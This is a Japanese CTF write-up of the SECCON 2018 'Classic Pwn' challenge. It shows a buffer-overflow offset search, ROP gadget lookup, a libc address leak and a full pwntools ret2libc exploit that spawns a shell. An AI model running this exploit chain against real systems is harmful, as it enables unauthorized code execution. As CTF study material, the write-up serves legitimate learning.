SECCON2018 Classic Pwn 供養
SECCON2018 Classic Pwn
当日は仮想通貨ガチャ回していて取り組めなかったし、取り組んでいてもどのみち解けなかったと思う。最近pwn欲はあまりないが、Classic Pwnくらいは一般教養として復習しておこうと思った。
Classic Pwn
まずはfileコマンドから。
$ file classic_aa9e979fd5c597526ef30c003bffee474b314e22 classic_aa9e979fd5c597526ef30c003bffee474b314e22: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=a8a02d460f97f6ff0fb4711f5eb207d4a1b41ed8, not stripped
次にchecksecの結果を確認。
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
強い先輩が、実行ファイルが渡されたらとりあえずバッファオーバーフローさせるか、書式文字列ブチ込めって言っていたのでやってみる。
$ python -c "print('A' * 1000)" | ./classic_aa9e979fd5c597526ef30c003bffee474b314e22
バッファオーバーフローした。 pattcでパターン文字列を使ってオフセットを調べる。
gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ patto "IAAeAA4AAJAAfAA5AAKAAgAA6AAL" IAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 72
RSPの値"IAAeAA4AAJAAfAA5AAKAAgAA6AAL"
までのオフセットが72バイトであることがわかる。
次に攻撃に利用できそうな関数を探す。探す方法はいくつかあると思うが、以下のコマンドで割と綺麗に探せるようなので実行してみた。
$ objdump -d -M intel -j .plt --no classic_aa9e979fd5c597526ef30c003bffee474b314e22 classic_aa9e979fd5c597526ef30c003bffee474b314e22: file format elf64-x86-64 Disassembly of section .plt: 0000000000400510 <puts@plt-0x10>: 400510: push QWORD PTR [rip+0x200af2] # 601008 <_GLOBAL_OFFSET_TABLE_+0x8> 400516: jmp QWORD PTR [rip+0x200af4] # 601010 <_GLOBAL_OFFSET_TABLE_+0x10> 40051c: nop DWORD PTR [rax+0x0] 0000000000400520 <puts@plt>: 400520: jmp QWORD PTR [rip+0x200af2] # 601018 <_GLOBAL_OFFSET_TABLE_+0x18> 400526: push 0x0 40052b: jmp 400510 <_init+0x28> 0000000000400530 <setbuf@plt>: 400530: jmp QWORD PTR [rip+0x200aea] # 601020 <_GLOBAL_OFFSET_TABLE_+0x20> 400536: push 0x1 40053b: jmp 400510 <_init+0x28> 0000000000400540 <printf@plt>: 400540: jmp QWORD PTR [rip+0x200ae2] # 601028 <_GLOBAL_OFFSET_TABLE_+0x28> 400546: push 0x2 40054b: jmp 400510 <_init+0x28> 0000000000400550 <__libc_start_main@plt>: 400550: jmp QWORD PTR [rip+0x200ada] # 601030 <_GLOBAL_OFFSET_TABLE_+0x30> 400556: push 0x3 40055b: jmp 400510 <_init+0x28> 0000000000400560 <gets@plt>: 400560: jmp QWORD PTR [rip+0x200ad2] # 601038 <_GLOBAL_OFFSET_TABLE_+0x38> 400566: push 0x4 40056b: jmp 400510 <_init+0x28>
まず、pop rdi
-> puts@got
-> puts@plt
-> main
して libc のベースアドレスをリークさせる。ついでにsystem関数のアドレスも求めておく。
payload = "A" * 72 payload += p64(popret) payload += p64(elf.got["gets"]) payload += p64(elf.plt["puts"]) payload += p64(elf.symbols["main"]) ... leak_addr = u64(conn.recv(6) + "\x00\x00") libc_base = leak_addr - libc.symbols["gets"] system_addr = libc_base + libc.symbols["system"]
"pop rdi; ret"
はgdb-pedaの中で以下のように調べることができる。
gdb-peda$ b main Breakpoint 1 at 0x4006ad gdb-peda$ r gdb-peda$ ropsearch "pop rdi" Searching for ROP gadget: 'pop rdi' in: binary ranges 0x00400753 : (b'5fc3') pop rdi; ret
次にpop rdi
->/bin/sh addr
してsystem("/bin/sh")
を呼び出しておわり。
payload = "A" * 72 payload += p64(popret) payload += p64(libc_base + next(libc.search('/bin/sh'))) payload += p64(system_addr) payload += p64(0xdeadbeef)
最終的に以下のコードを実行してシェルを取り、幸せになったらおわり。 (コードについては こちらのブログのものがわかりやすかったので使わせていただきました。)
from pwn import * def main(): conn = process("./classic_aa9e979fd5c597526ef30c003bffee474b314e22") elf = ELF("./classic_aa9e979fd5c597526ef30c003bffee474b314e22") libc = ELF("./libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253") popret = 0x400753 payload = "A" * 72 payload += p64(popret) payload += p64(elf.got["gets"]) payload += p64(elf.plt["puts"]) payload += p64(elf.symbols["main"]) conn.recvuntil(">> ") conn.sendline(payload) conn.recvuntil("Have a nice pwn!!\n") leak_addr = u64(conn.recv(6) + "\x00\x00") libc_base = leak_addr - libc.symbols["gets"] system_addr = libc_base + libc.symbols["system"] print "libc_base: " + hex(libc_base) print "system_addr: " + hex(system_addr) payload = "A" * 72 payload += p64(popret) payload += p64(libc_base + next(libc.search('/bin/sh'))) payload += p64(system_addr) payload += p64(0xdeadbeef) conn.recvuntil(">> ") conn.sendline(payload) conn.interactive() if __name__ == "__main__": main()
おわり。若干消化不良なところもあるので強いパイセンに聞いて追記しようと思う。
参考
http://shift-crops.hatenablog.com/entry/2018/11/05/042149#Classic-Pwn-Exploit-121-197-solves http://ywkw1717.hatenablog.com/entry/2018/10/28/185936 http://yuta1024.hateblo.jp/entry/2018/11/01/215302 https://osanamity.net/2018/11/06/110940